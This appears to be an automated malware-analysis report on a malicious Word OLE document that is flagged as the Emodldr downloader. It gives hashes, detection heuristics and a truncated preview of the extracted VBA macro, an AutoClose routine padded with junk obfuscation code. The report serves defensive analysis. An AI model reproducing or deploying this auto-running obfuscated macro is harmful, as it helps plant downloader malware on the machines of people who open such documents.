Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42154a0d1585db6d…

MALICIOUS

Office (OLE)

227.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 24dfb1d06019ecde117a34e19d2378f9 SHA-1: 24536c618b037e0754502095015b0df956343081 SHA-256: 42154a0d1585db6dbdbc44216a769afc771c17842af7f0af60d12aca8f1298c7
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious OLE document containing a VBA macro. The presence of an AutoClose macro, detected by the OLE_VBA_AUTOCLOSE heuristic, indicates that malicious code is intended to execute when the document is closed. The ClamAV detection further confirms its malicious nature, classifying it as Emodldr, a known downloader family.

Heuristics 5

  • ClamAV: Doc.Malware.Emodldr-6703506-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-6703506-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 104275 bytes
SHA-256: 8edc7c7f4f748fcfacd161cec01f3615be0907d688e10f44d8cfd7e12895da79
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const PAVLEzivOQUBAnhiweZaPYDapImOrcQy = 0
Sub AutoClose()
On Error Resume Next
Dim lIkIroJahAjIdIxsUHYPOZoSOceTAXaFao(5)

Dim RIjoZATYkuaexasopOROleSEgywEWyiiWIT(5)

If LenB("qOXmeLoPEwO") < 34357 Then
RIjoZATYkuaexasopOROleSEgywEWyiiWIT(0) = VarType(Sqr(3435) + CInt("3435"))
End If
RIjoZATYkuaexasopOROleSEgywEWyiiWIT(1) = LTrim("qOXmeLoPEwO") & "77"
RIjoZATYkuaexasopOROleSEgywEWyiiWIT(2) = Day(34353435)

If Len("RIjoZATYkuaexasopOROleSEgywEWyiiWIT") < Len("qOXmeLoPEwO") Then
RIjoZATYkuaexasopOROleSEgywEWyiiWIT(3) = Weekday(34357)
End If
Dim joWADiFYtoVyvyraRORiJIiUiejPixEGOx(5)

If LenB("CIJyJIJqUXadAromIloCUtE") < 88815 Then
joWADiFYtoVyvyraRORiJIiUiejPixEGOx(0) = VarType(Sqr(8881) + CInt("8881"))
End If
joWADiFYtoVyvyraRORiJIiUiejPixEGOx(1) = LTrim("CIJyJIJqUXadAromIloCUtE") & "55"
joWADiFYtoVyvyraRORiJIiUiejPixEGOx(2) = Day(88818881)

If Len("joWADiFYtoVyvyraRORiJIiUiejPixEGOx") < Len("CIJyJIJqUXadAromIloCUtE") Then
joWADiFYtoVyvyraRORiJIiUiejPixEGOx(3) = Weekday(88815)
End If
If LenB("ciWysInidosuVeKAVypImaq") < 15028 Then
Dim CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF(5)

If LenB("SAaAdlIMAS") < 64753 Then
CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF(0) = VarType(Sqr(6475) + CInt("6475"))
End If
CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF(1) = LTrim("SAaAdlIMAS") & "33"
CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF(2) = Day(64756475)

If Len("CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF") < Len("SAaAdlIMAS") Then
CaRISYZOtdAbykosOcYWAiNyCeWeLoBaTaF(3) = Weekday(64753)
End If
Dim PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU(5)

If LenB("kaSUfUnimOPAlERYNt") < 66641 Then
PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU(0) = VarType(Sqr(6664) + CInt("6664"))
End If
PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU(1) = LTrim("kaSUfUnimOPAlERYNt") & "11"
PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU(2) = Day(66646664)

If Len("PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU") < Len("kaSUfUnimOPAlERYNt") Then
PiPeFIjEXASSORacaXiseDyNoSYHuqUJEteWywEaytirU(3) = Weekday(66641)
End If
lIkIroJahAjIdIxsUHYPOZoSOceTAXaFao(0) = VarType(Sqr(1502) + CInt("1502"))
End If
lIkIroJahAjIdIxsUHYPOZoSOceTAXaFao(1) = LTrim("ciWysInidosuVeKAVypImaq") & "88"
Dim xEVolArAwezIdaTEZUFyBYfOkUqeRetAC(5)

If LenB("NEJEaIcUCEwewileVYoHyW") < 36288 Then
xEVolArAwezIdaTEZUFyBYfOkUqeRetAC(0) = VarType(Sqr(3628) + CInt("3628"))
End If
xEVolArAwezIdaTEZUFyBYfOkUqeRetAC(1) = LTrim("NEJEaIcUCEwewileVYoHyW") & "88"
xEVolArAwezIdaTEZUFyBYfOkUqeRetAC(2) = Day(36283628)

If Len("xEVolArAwezIdaTEZUFyBYfOkUqeRetAC") < Len("NEJEaIcUCEwewileVYoHyW") Then
xEVolArAwezIdaTEZUFyBYfOkUqeRetAC(3) = Weekday(36288)
End If
lIkIroJahAjIdIxsUHYPOZoSOceTAXaFao(2) = Day(15021502)
Dim JejejyJuMoPYcoGOlULYWfELehaDUpYl(5)

If LenB("mOwUcYwobIcydoSA") < 760510 Then
JejejyJuMoPYcoGOlULYWfELehaDUpYl(0) = VarType(Sqr(7605) + CInt("7605"))
End If
JejejyJuMoPYcoGOlULYWfELehaDUpYl(1) = LTrim("mOwUcYwobIcydoSA") & "1010"
JejejyJuMoPYcoGOlULYWfELehaDUpYl(2) = Day(76057605)

If Len("JejejyJuMoPYcoGOlULYWfELehaDUpYl") < Len("mOwUcYwobIcydoSA") Then
JejejyJuMoPYcoGOlULYWfELehaDUpYl(3) = Weekday(760510)
End If

If Len("lIkIroJahAjIdIxsUHYPOZoSOceTAXaFao") < Len("ciWysInidosuVeKAVypImaq") Then
Dim MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie(5)

If LenB("aOnuRotEfUTysaa") < 67598 Then
MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie(0) = VarType(Sqr(6759) + CInt("6759"))
End If
MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie(1) = LTrim("aOnuRotEfUTysaa") & "88"
MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie(2) = Day(67596759)

If Len("MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie") < Len("aOnuRotEfUTysaa") Then
MoTukySefoBEitYBhAPoKULagyQYhITOjIXuie(3) = Weekday(67598)
End If
Dim JIRDIDuZeHfuKeVUWuKAro(5)

If LenB("gAjytyPygOZU") < 97978 Then
JIRDIDuZeHfuKeVUWuKAro(0) = VarType(Sqr(9797) + CInt("9797"))
End 
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.